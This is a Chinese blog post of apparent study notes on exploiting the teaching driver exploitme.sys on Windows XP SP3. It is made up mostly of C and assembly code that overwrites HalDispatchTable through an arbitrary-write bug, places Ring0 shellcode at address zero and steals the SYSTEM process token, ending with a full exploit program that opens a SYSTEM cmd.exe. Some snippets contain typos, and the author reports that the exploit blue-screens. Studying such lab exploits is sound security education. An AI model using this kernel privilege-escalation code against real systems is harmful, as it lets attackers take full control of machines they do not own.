zoukankan      html  css  js  c++  java
  • OD: Kernel Exploit

    本节接前方,对 exploitme.sys 进行利用。

    exploitme.sys 存在任意地址写任意内容的内核漏洞,现在采用执行 Ring0 Shellcode 的方式进行利用。

    获取 HalDispatchTable 表地址 x

    HalDispatchTable 是由内核模块导出的,要得到 HalDispatchTable 在内核中的准确地址,先要得到内核模块的基址,再加上 HalDispatchTable 与内核模块的偏移:

     1 NTSATUS NtSataus = STATUS_UNSUCCESSFUL;
     2 ULONG   ReturnLength = 0;
     3 ULONG   ImageBase = 0;
     4 PVOID   MAppedBase = NULL;
     5 UCHAR   ImageName[KERNEL_NAME_LENGTH] = {0};
     6 ULONG   DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;
     7 PVOID   HalDispatchTable = NULL;
     8 PVOID   xHalQuerySystemInformation = NULL;
     9 ULONG   ShellCodeSize = (ULONG)EndofMyShellCode - (ULONG)MyShellCode;
    10 PVOID   ShellCodeAddress = NULL;
    11 UNICODE_STRING  DllName = {0};
    12 SYSTEM_MODULE_INFORMATION_EX *ModuleInformation = NULL;
    13 int     RetryTimes = 10;
    14 
    15 //////////////////////////////////////////////////
    16 // 获取内核模块基址和内核模块名称
    17 //////////////////////////////////////////////////
    18 // 获取内核模块列表数据大小到 ReturnLength
    19 //////////////////////////////////////////////////
    20 NtStatus = ZwQuerySystemInformation(
    21             SystemModuleInformation,
    22             ModuleInformation,
    23             ReturnLength,
    24             &ReturnLength);
    25 if(NtStatus != STATUS_INFO_LENGTH_MISMATCH)
    26     return;
    27 
    28 // 申请内存 存放内核模块列表数据
    29 ModuleInformation = (SYSTEM_MODULE_INFORMATION_EX *)malloc(ReturnLength);
    30 if(!ModuleInformaiton)
    31     return;
    32 // 获取内核模块列表数据到 ModuleInformation
    33 NtStatus = ZwQuerySystemInformation(
    34             SystemModuleInformation,
    35             ModuleInformation,
    36             ReturnLength,
    37             NULL);
    38 if(NtStatus != STATUS_SUCCESS)
    39 {
    40     free(ModuleInformation);
    41     return;
    42 }
    43 
    44 // 从内核模块列表获取内核第一个模块的基址和名称
    45 ImageBase = (ULONG)(ModuleInformation->Modules[0].Base);
    46 RtlMoveMemory(ImageName,
    47                 (PVOID)(ModuleInformation->Modules[0].ImageName +
    48                 ModuleInformation->Modules[0].ModuleNameOffset),
    49                 KERNEL_NAME_LENGTH);
    50 
    51 // 释放存放内核模块列表的内存
    52 free(ModuleInformation);
    53 
    54 // 获取内核模块的 UnicodeString
    55 RtlCreateUnicodeStringFromeAsciiz(&DllName, (PUCHAR)ImageName);
    56 
    57 //////////////////////////////////////////////////
    58 // 加载内核模块到本地进程
    59 //////////////////////////////////////////////////
    60 NtStatus = (NTSTATUS)LdrLoadDll(
    61             NULL,                   // DllPath
    62             &DllCHaracteristics,    // DllCharacteristics
    63             &DllName,               // DllName
    64             &MappedBase);           // DllHandle
    65 if(NtStatus)
    66     return;
    67 
    68 //////////////////////////////////////////////////
    69 // 获取内核 HalDispatchTable 函数表地址
    70 //////////////////////////////////////////////////
    71 HalDispatchTable = GetProcAddress((HMODULE)MappedBase, "HalDispatchTable");
    72 if(HalDispatchTable == NULL)
    73     return;
    74 HalDispatchTable = (PVOID)((ULONG)HalDispatchTable - (ULONG)MappedBase + ImageBase);
    75 xHalQuerySystemInformation = (PVOID)((ULONG)HalDispatchTable + sizeof(ULONG));
    76 
    77 //////////////////////////////////////////////////
    78 // 卸载本地进程中的内核模块
    79 //////////////////////////////////////////////////
    80 LdrUnloadDll((PVOID)MappedBase);

    在 0x0 处申请一段内存,并写入 Ring0 Shellcode

    在指定地址申请内存推荐使用 ZwAllocateVirtualMemory(),其第二个参数 BaseAddress 指向指定的要申请的内存地址。系统会从指定的地址开始向下搜寻,找到一段需要大小的内存。

     1 //////////////////////////////////////////////////
     2 // 在 0x0 处申请本地进程内存 存放 Ring0 Shellcode
     3 //////////////////////////////////////////////////
     4 ShellCodeAddress = (PVOID)sizeof(ULONG);
     5 NtStatus = ZwAllocateVirtualMemory(
     6     NtCurrentProcess(),         // ProcessHandle
     7     &ShellCodeAddress,          // BaseAddress
     8     0,                          // ZeroBits
     9     &ShellCodeSize,             // AllocationSize
    10     MEM_RESERVE | MEM_COMMIT | MEM_TOP_DOWN,    // AllocationType
    11     PAGE_EXECUTE_READWRITE);    // Protect
    12 if(NtStatus)
    13     return;
    14 // 存放 ShellCode
    15 RtlMoveMemory(ShellCodeAddress, (PVOID)MyShellCode, ShellCodeSize);
    View Code

    利用漏洞向 xHalQuerySystemInformation 写入 0x0

     1 //////////////////////////////////////////////////
     2 // 触发漏洞并利用
     3 //////////////////////////////////////////////////
     4 RtlInitUnicodeString(&DeviceName, L"\Device\ExploitMe");
     5 // 打开 ExploitMe 设备
     6 ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
     7 ObjectAttributes.RootDirectory = 0;
     8 ObjectAttributes.ObjectName = &DeviceName;
     9 ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
    10 ObjectAttributes.SecurityDescriptor = NULL;
    11 ObjectAttributes.SecurityQualityOfService = NULL;
    12 NtStatus = NtCreateFile(
    13     &DeviceHandle,      // FileHandle
    14     FILE_READE_DATA |
    15     FILE_WRITE_DATA,    // DesiredAccess
    16     &ObjectAttributes,  // ObjectAttributes
    17     &IoStatusBlock,     // IoStatusBlock
    18     NULL,               // AllocationSize OPTIONAL
    19     0,                  // FileAttributes
    20     FILE_SHARE_READ |
    21     FILE_SHARE_WRITE,   // ShareAccess
    22     FILE_OPEN_IF,       // CreateDisposition
    23     0,                  // CreateOptions
    24     NULL,               // EaBuffer OPTIONAL
    25     0);                 // EaLength
    26 if(NtStatus)
    27 {
    28     printf("NtCreateFile failed! NtStatus=%.8X
    ", NtStatus);
    29     goto ret;
    30 }
    31 // 利用漏洞将 HalQuerySystemInformation() 地址改为 0x0
    32 InputData = 0;
    33 NtStatus = NtDeviceIoControlFile(
    34     DeviceHandle,       // FileHandle
    35     NULL,               // Event
    36     NULL,               // ApcRoutine
    37     NULL,               // ApcContext
    38     &IoStatusBlock,     // IoStatusBlock
    39     IOCTL_METHOD_NEITHER,   // IoControlCode
    40     &InputData,         // InputBuffer
    41     BUFFER_LENGTH,      // InputBufferLength
    42     xHalQuerySystemInformation, // OutputBuffer
    43     BUFFER_LENGTH);     // OutBufferLength
    44 if(NtStatus)
    45 {
    46     printf("NtDeviceIoControlFile failed! NtStatus=%.8X
    ", NtStatus);
    47     goto ret;
    48 }
    View Code

    调用 NtQueryIntervalProfile()

    为检验 Ring0 Shellcode 被成功调用,在 Ring0 Shellcode 中将全局变量 g_isRing0ShellcodeCalled 赋为 1,调用完 NtQueryIntervalProfile() 后可检测。

     1 // 漏洞利用
     2 while(RetryTimes > 0)
     3 {
     4     NtStatus = NtQueryIntervalProfile(
     5         ProfileTotalIssues, // Source
     6         NULL);              // Interval
     7     if(NtStatus == 0)
     8     {
     9         printf("NtQueryIntervalProfile() ok!
    ");
    10     }
    11     Sleep(1000);
    12     if(g_isRing0ShellcodeCalled == 1)
    13         break;
    14     RetryTimes--;
    15 }
    16 if(RetryTimes == 0 && g_isRing0ShellcodeCalled==0)
    17     printf("exploit failed!
    ");
    18 else
    19     printf("exploit success!
    ");
    View Code

    将 Ring0 Shellcode 写成假冒的 HalQuerySystemInformation()

     1 NTSTATUS MyShellCode(
     2     ULONG InformationClass,
     3     ULONG BufferSize,
     4     PVOID Buffer,
     5     PULONG ReturnedLength)
     6 {
     7     // 关闭内核写保护
     8     __asm
     9     {
    10         cli
    11         mov eax, cr0
    12         mov g_uCr0, eax
    13         and eax, 0xFFFEFFFF
    14         mov cr0, eax
    15     }
    16     // do something in ring0
    17     // TODO
    18 
    19     // 恢复内核写保护
    20     __asm
    21     {
    22         sti
    23         mov eax, g_uCr0
    24         mov cr0, eax
    25     }
    26     // 将全局变量置 1
    27     g_isRing0ShellcodeCalled = 1;
    28     reutrn 0;
    29 }
    30 void EndofMyShellcode()
    31 {
    32 }
    View Code

    Ring0 Shellcode 的编写

    提权到 SYSTEM

    修改当前进程的 token 为 SYSTEM 进程的 token,这样当前进程就可以控制整个系统:

     1 NTSTATUS MyShellCode(
     2     ULONG InformationClass,
     3     ULONG BufferSize,
     4     PVOID Buffer,
     5     PULONG ReturnedLength)
     6 {
     7     // 关闭内核写保护
     8     __asm
     9     {
    10         cli
    11         mov eax, cr0
    12         mov g_uCr0, eax
    13         and eax, 0xFFFEFFFF
    14         mov cr0, eax
    15     }
    16     // do something in ring0
    17 
    18     // 提权到 SYSTEM
    19     __asm
    20     {
    21         mov eax, 0xFFDFF124     // eax = KPCR (not 3G mode)
    22         mov eax, [eax]          // eax = PETHREAD of current thread
    23         mov esi, [eax+0x220]    // esi = PEPROCESS of current process
    24         mov eax, esi
    25       searchXp:
    26         mov eax, [eax+0x88]
    27         sub eax, 0x88           // eax = next PEPROCESS in process chain
    28         mov edx, [eax+0x84]     // edx = PID of the process
    29         cmp edx, 0x4            // search SYSTEM process by PID
    30         jne searchXp
    31         mov eax, [eax+0xC8]     // eax = SYSTEM process token
    32         mov [esi+0xC8], eax     // change the token of current process
    33     }
    34     // 恢复内核写保护
    35     __asm
    36     {
    37         sti
    38         mov eax, g_uCr0
    39         mov cr0, eax
    40     }
    41     g_isRing0ShellcodeCalled = 1;
    42     reuturn 0;
    43 }

    恢复内核 Hook/Inline Hook

    以 SSDT Hook 为例介绍代码的编写。恢复代码可以放在 Ring0 Shellcode 中,但在恢复之前先要得到 SSDT 中原始的函数地址。获取原始地址可以在 Ring3 实现。

    在 Ring3 中获取原始 SSDT 函数地址和内核中 SSDT 表的地址:

     1 // 全局变量 内核中 SSDT 表的地址
     2 ULONG g_RealSSDT = 0;
     3 // 全局变量 SSDT 函数个数
     4 ULONG g_ServiceNum = 0x11C;
     5 // 全局变量 SSDT 函数原始地址数组
     6 ULONG g_OrgService[0x11C];
     7 //////////////////////////////////////////////
     8 // 获取 SSDT 中函数的原始地址和 SSDT 表地址
     9 //////////////////////////////////////////////
    10 // 获取本地进程中加载的内核模块中的 KeServiceDescriptorTable 地址
    11 ULONG KeSSDT = (ULONG)GetProcAddress((HMODULE)MappedBase,"KeServiceDescriptorTable");
    12 if (KeSSDT == 0)
    13     return;
    14 // 获取本地进程中加载的内核模块中的 KiServiceTable 与 poh_ImageBase 的偏移
    15 ULONG poh_ImageBase = 0;
    16 ULONG KiSSDT = FindKiServiceTable((HMODULE)MappedBase,KeSSDT-(ULONG)MappedBase,&poh_ImageBase);
    17 if (KiSSDT == 0)
    18     return;
    19 // 获取本地进程中加载的内核模块中的 KiServiceTable 地址
    20 KiSSDT += (ULONG)MappedBase;
    21 // 遍历本地进程中加载的内核模块中的 KiServiceTable 指向的列表,并换算内核中原始 SSDT 函数地址
    22 for (ULONG i = 0; i < ServiceNum; i++)
    23 {
    24     g_OrgService[i] = *(ULONG*)(KiSSDT+i*sizeof(ULONG))+(ULONG)ImageBase-poh_ImageBase;
    25 }
    26 // 换算内核中 SSDT 表的地址
    27 g_RealSSDT = KeSSDT - (ULONG)MappedBase + (ULONG)ImageBase;

    得到原始 SSDT 函数地址和内核中 SSDT 表的地址后,Ring0 Shellcode 的任务就是恢复所有 Hook:

    1 // 恢复所有的 SSDT Hook
    2 ULONG i;
    3 for (i=0; i<g_ServiceNum; i++)
    4 {
    5     *(ULONG*)(*(ULONG*)g_RealSSDT+i*sizeof(ULONG)) = g_OrgService[i];
    6 }

    添加调用门/中断门/任务门/陷阱门

    详细知识参见看雪学院《rootkit ring3 进 ring0 之门系列》共四篇。

    最后修改了随书光盘中测试 ExploitMe.sys 的 Ring3 测试代码,在 XP sp3 下测试能得到 SYSTEM 权限的 cmd.exe。但溢出之后会蓝屏,估计是其它代码调用了被修改过的 HalQuerySystemInformation(),代码如下:

      1 // exploit.cpp : Defines the entry point for the console application.
      2 //
      3 // env:
      4 //   os: windows xp sp3
      5 //   ide: vs 2008
      6 
      7 #include "stdafx.h"
      8 #include <stdio.h>
      9 #include <stdlib.h>
     10 #include <windows.h>
     11 #include <string.h>
     12 #include "ntapi.h"
     13 #pragma comment(linker,"/defaultlib:ntdll.lib")  
     14 
     15 #define PAGE_SIZE 0x1000
     16 #define OBJ_CASE_INSENSITIVE 0x00000040
     17 #define FILE_OPEN_IF 0x00000003
     18 #define KERNEL_NAME_LENGTH 0x0D
     19 #define BUFFER_LENGTH 0x04
     20 
     21 //触发漏洞使用的IoControlCode
     22 #define IOCTL_METHOD_NEITHER 0x8888A003
     23  
     24 //Ring0中执行的Shellcode
     25 NTSTATUS Ring0ShellCode(    
     26                         ULONG InformationClass,
     27                         ULONG BufferSize,
     28                         PVOID Buffer,
     29                         PULONG ReturnedLength)
     30 {
     31     int g_uCr0;
     32     __asm
     33     {
     34         cli;
     35         mov eax, cr0;
     36         mov g_uCr0,eax; 
     37         and eax,0xFFFEFFFF; 
     38         mov cr0, eax; 
     39     }
     40     // 提权到 SYSTEM
     41     __asm
     42     {
     43         mov eax, 0xFFDFF124     // eax = KPCR (not 3G mode)
     44         mov eax, [eax]          // eax = PETHREAD of current thread
     45         mov esi, [eax+0x220]    // esi = PEPROCESS of current process
     46         mov eax, esi
     47       searchXp:
     48         mov eax, [eax+0x88]
     49         sub eax, 0x88           // eax = next PEPROCESS in process chain
     50         mov edx, [eax+0x84]     // edx = PID of the process
     51         cmp edx, 0x4            // search SYSTEM process by PID
     52         jne searchXp
     53         mov eax, [eax+0xC8]     // eax = SYSTEM process token
     54         mov [esi+0xC8], eax     // change the token of current process
     55     }
     56     // 恢复内核写保护
     57     __asm
     58     {
     59         sti
     60         mov eax, g_uCr0
     61         mov cr0, eax
     62     }
     63     //g_isRing0ShellcodeCalled = 1;
     64     return 0;
     65 }  
     66 
     67 //申请内存的函数
     68 PVOID MyAllocateMemory(IN ULONG Length)
     69 {
     70     NTSTATUS NtStatus;
     71     PVOID BaseAddress = NULL;
     72     NtStatus = NtAllocateVirtualMemory(
     73         NtCurrentProcess(),
     74         &BaseAddress,
     75         0,
     76         &Length,
     77         MEM_RESERVE |
     78         MEM_COMMIT,
     79         PAGE_READWRITE);
     80     if(NtStatus == STATUS_SUCCESS)
     81     {
     82         RtlZeroMemory(BaseAddress, Length);
     83         return BaseAddress;
     84     }
     85     return NULL;
     86 }
     87 
     88 //释放内存的函数
     89 VOID MyFreeMemory(IN PVOID BaseAddress)
     90 {
     91     NTSTATUS NtStatus;
     92     ULONG FreeSize = 0;
     93     NtStatus = NtFreeVirtualMemory(
     94         NtCurrentProcess(),
     95         &BaseAddress,
     96         &FreeSize,
     97         MEM_RELEASE);
     98 }
     99 
    100 //main函数
    101 int _tmain(int argc, _TCHAR* argv[])
    102 {
    103     NTSTATUS NtStatus;
    104     HANDLE DeviceHandle=NULL;
    105     ULONG ReturnLength = 0;
    106     ULONG ImageBase;
    107     PVOID MappedBase=NULL;
    108     UCHAR ImageName[KERNEL_NAME_LENGTH];
    109     ULONG DllCharacteristics = DONT_RESOLVE_DLL_REFERENCES;
    110     PVOID HalDispatchTable;
    111     PVOID xHalQuerySystemInformation;
    112     ULONG ShellCodeSize = PAGE_SIZE;
    113     PVOID ShellCodeAddress;
    114     PVOID BaseAddress = NULL;
    115     UNICODE_STRING DeviceName;
    116     UNICODE_STRING DllName;
    117     ANSI_STRING ProcedureName;
    118     OBJECT_ATTRIBUTES ObjectAttributes;
    119     IO_STATUS_BLOCK IoStatusBlock;
    120     SYSTEM_MODULE_INFORMATION *ModuleInformation = NULL;
    121     LARGE_INTEGER Interval;
    122     ULONG InputData=0;
    123 
    124     //清空控制台屏幕
    125     system("cls");
    126 
    127     //获取内核模块列表数据长度到ReturnLength
    128     NtStatus = NtQuerySystemInformation(
    129         SystemModuleInformation,
    130         ModuleInformation,
    131         ReturnLength,
    132         &ReturnLength);
    133     if(NtStatus != STATUS_INFO_LENGTH_MISMATCH)
    134     {
    135         printf("NtQuerySystemInformation get len failed! NtStatus=%.8X
    ", NtStatus); 
    136         goto ret;
    137     }
    138 
    139     //申请内存
    140     ReturnLength = (ReturnLength & 0xFFFFF000) + PAGE_SIZE * sizeof(ULONG);
    141     ModuleInformation = (SYSTEM_MODULE_INFORMATION *)MyAllocateMemory(ReturnLength);
    142     if(ModuleInformation==NULL)
    143     {
    144         printf("MyAllocateMemory failed! Length=%.8X
    ", ReturnLength); 
    145         goto ret;
    146     }
    147 
    148     //获取内核模块列表数据
    149     NtStatus = NtQuerySystemInformation(
    150         SystemModuleInformation,
    151         ModuleInformation,
    152         ReturnLength,
    153         NULL);
    154     if(NtStatus != STATUS_SUCCESS)
    155     {
    156         printf("NtQuerySystemInformation get info failed! NtStatus=%.8X
    ", NtStatus); 
    157         goto ret;
    158     }
    159                 
    160     //保存内核第一个模块(即nt模块)基址和名称,并打印
    161     ImageBase = (ULONG)(ModuleInformation->Module[0].Base);
    162     RtlMoveMemory(
    163         ImageName,
    164         (PVOID)(ModuleInformation->Module[0].ImageName +
    165         ModuleInformation->Module[0].PathLength),
    166         KERNEL_NAME_LENGTH);
    167     printf("ImageBase=0x%.8X ImageName=%s
    ",ImageBase,    ImageName);
    168     
    169 
    170     //获取内核模块名称字符串的Unicode字符串
    171     RtlCreateUnicodeStringFromAsciiz(&DllName, (PUCHAR)ImageName);
    172 
    173     //加载内核模块到本进程空间
    174     NtStatus = LdrLoadDll(
    175         NULL,                // DllPath
    176         &DllCharacteristics, // DllCharacteristics
    177         &DllName,            // DllName
    178         &MappedBase);        // DllHandle
    179     if(NtStatus)
    180     {
    181         printf("LdrLoadDll failed! NtStatus=%.8X
    ", NtStatus);    
    182         goto ret;
    183     }
    184 
    185     //获取内核模块在本进程空间中导出名称HalDispatchTable的地址
    186     RtlInitAnsiString(&ProcedureName, (PUCHAR)"HalDispatchTable");
    187     NtStatus = LdrGetProcedureAddress(
    188         (PVOID)MappedBase,          // DllHandle
    189         &ProcedureName,             // ProcedureName
    190         0,                          // ProcedureNumber OPTIONAL
    191         (PVOID*)&HalDispatchTable); // ProcedureAddress
    192     if(NtStatus)
    193     {
    194         printf("LdrGetProcedureAddress failed! NtStatus=%.8X
    ", NtStatus);    
    195         goto ret;
    196     }
    197 
    198     //计算实际的HalDispatchTable内核地址
    199     HalDispatchTable = (PVOID)((ULONG)HalDispatchTable - (ULONG)MappedBase);
    200     HalDispatchTable = (PVOID)((ULONG)HalDispatchTable + (ULONG)ImageBase);
    201 
    202     //HalDispatchTable中的第二个ULONG就是HalQuerySystemInformation函数的地址
    203     xHalQuerySystemInformation = (PVOID)((ULONG)HalDispatchTable + sizeof(ULONG));
    204 
    205     //打印HalDispatchTable内核地址和xHalQuerySystemInformation值
    206     printf("HalDispatchTable=%p xHalQuerySystemInformation=%p
    ",
    207         HalDispatchTable,
    208         xHalQuerySystemInformation);
    209 
    210     //设备名称的Unicode字符串
    211     RtlInitUnicodeString(&DeviceName, L"\Device\ExploitMe");
    212 
    213     //打开ExploitMe设备
    214     ObjectAttributes.Length = sizeof(OBJECT_ATTRIBUTES);
    215     ObjectAttributes.RootDirectory = 0;
    216     ObjectAttributes.ObjectName = &DeviceName;
    217     ObjectAttributes.Attributes = OBJ_CASE_INSENSITIVE;
    218     ObjectAttributes.SecurityDescriptor = NULL;
    219     ObjectAttributes.SecurityQualityOfService = NULL;
    220     NtStatus = NtCreateFile(
    221         &DeviceHandle,     // FileHandle
    222         FILE_READ_DATA |
    223         FILE_WRITE_DATA,   // DesiredAccess
    224         &ObjectAttributes, // ObjectAttributes
    225         &IoStatusBlock,    // IoStatusBlock
    226         NULL,              // AllocationSize OPTIONAL
    227         0,                 // FileAttributes
    228         FILE_SHARE_READ |
    229         FILE_SHARE_WRITE, // ShareAccess
    230         FILE_OPEN_IF,     // CreateDisposition
    231         0,                // CreateOptions
    232         NULL,             // EaBuffer OPTIONAL
    233         0);               // EaLength
    234     if(NtStatus)
    235     {
    236         printf("NtCreateFile failed! NtStatus=%.8X
    ", NtStatus);    
    237         goto ret;
    238     }
    239     //利用漏洞将HalQuerySystemInformation函数地址改为0
    240     InputData = 0;
    241     NtStatus = NtDeviceIoControlFile(
    242         DeviceHandle,         // FileHandle
    243         NULL,                 // Event
    244         NULL,                 // ApcRoutine
    245         NULL,                 // ApcContext
    246         &IoStatusBlock,       // IoStatusBlock
    247         IOCTL_METHOD_NEITHER, // IoControlCode
    248         &InputData,           // InputBuffer
    249         BUFFER_LENGTH,        // InputBufferLength
    250         xHalQuerySystemInformation, // OutputBuffer
    251         BUFFER_LENGTH);       // OutBufferLength
    252     if(NtStatus)
    253     {
    254         printf("NtDeviceIoControlFile failed! NtStatus=%.8X
    ", NtStatus);
    255         goto ret;
    256     } 
    257 
    258     //在本进程空间申请0地址内存
    259     ShellCodeAddress = (PVOID)sizeof(ULONG);
    260     NtStatus = NtAllocateVirtualMemory(
    261         NtCurrentProcess(),      // ProcessHandle
    262         &ShellCodeAddress,       // BaseAddress
    263         0,                       // ZeroBits
    264         &ShellCodeSize,          // AllocationSize
    265         MEM_RESERVE | 
    266         MEM_COMMIT |
    267         MEM_TOP_DOWN,            // AllocationType
    268         PAGE_EXECUTE_READWRITE); // Protect
    269     if(NtStatus)
    270     {
    271         printf("NtAllocateVirtualMemory failed! NtStatus=%.8X
    ", NtStatus);    
    272         goto ret;
    273     }
    274     printf("NtAllocateVirtualMemory succeed! ShellCodeAddress=%p
    ", ShellCodeAddress); 
    275 
    276     //复制Ring0ShellCode到0地址内存中
    277     RtlMoveMemory(
    278         ShellCodeAddress,
    279         (PVOID)Ring0ShellCode,
    280         ShellCodeSize);
    281 
    282     //触发漏洞
    283     NtStatus = NtQueryIntervalProfile(
    284         ProfileTotalIssues, // Source
    285         NULL);              // Interval
    286     if(NtStatus)
    287     {
    288         printf("NtQueryIntervalProfile failed! NtStatus=%.8X
    ", NtStatus);
    289         goto ret;
    290     }
    291     printf("NtQueryIntervalProfile succeed!
    ");
    292     system("start cmd.exe");
    293 
    294 
    295 ret:
    296     //释放申请的内存
    297     if (ModuleInformation)
    298     {
    299         MyFreeMemory(ModuleInformation);
    300     }
    301     //卸载本进程中的内核模块
    302     if (MappedBase)
    303     {
    304         LdrUnloadDll((PVOID)MappedBase);
    305     }
    306     //关闭句柄
    307     if(DeviceHandle)
    308     {
    309         NtStatus = NtClose(DeviceHandle);
    310         if(NtStatus)
    311         {
    312             printf("NtClose failed! NtStatus=%.8X
    ", NtStatus);    
    313         }
    314     }
    315     return 0;
    316 }
    View Code
  • 相关阅读:
    重庆(四川)方言汇总(北方人到重庆可以先看看)
    将权限授予文件夹和程序集
    通过2009年12月5日PMP考试纪念一下
    在奥运开幕式上,日本代表队拿着太阳旗和五星红旗什么意思?大家讨论一下
    身份证号码
    Android学习笔记系列
    ActiveMQ学习:Hello ActiveMQ
    Android学习笔记(5):Hello Service
    Android学习笔记(4):Activity生命周期
    Android学习笔记(2):Hello world
  • 原文地址:https://www.cnblogs.com/exclm/p/4107662.html
Copyright © 2011-2022 走看看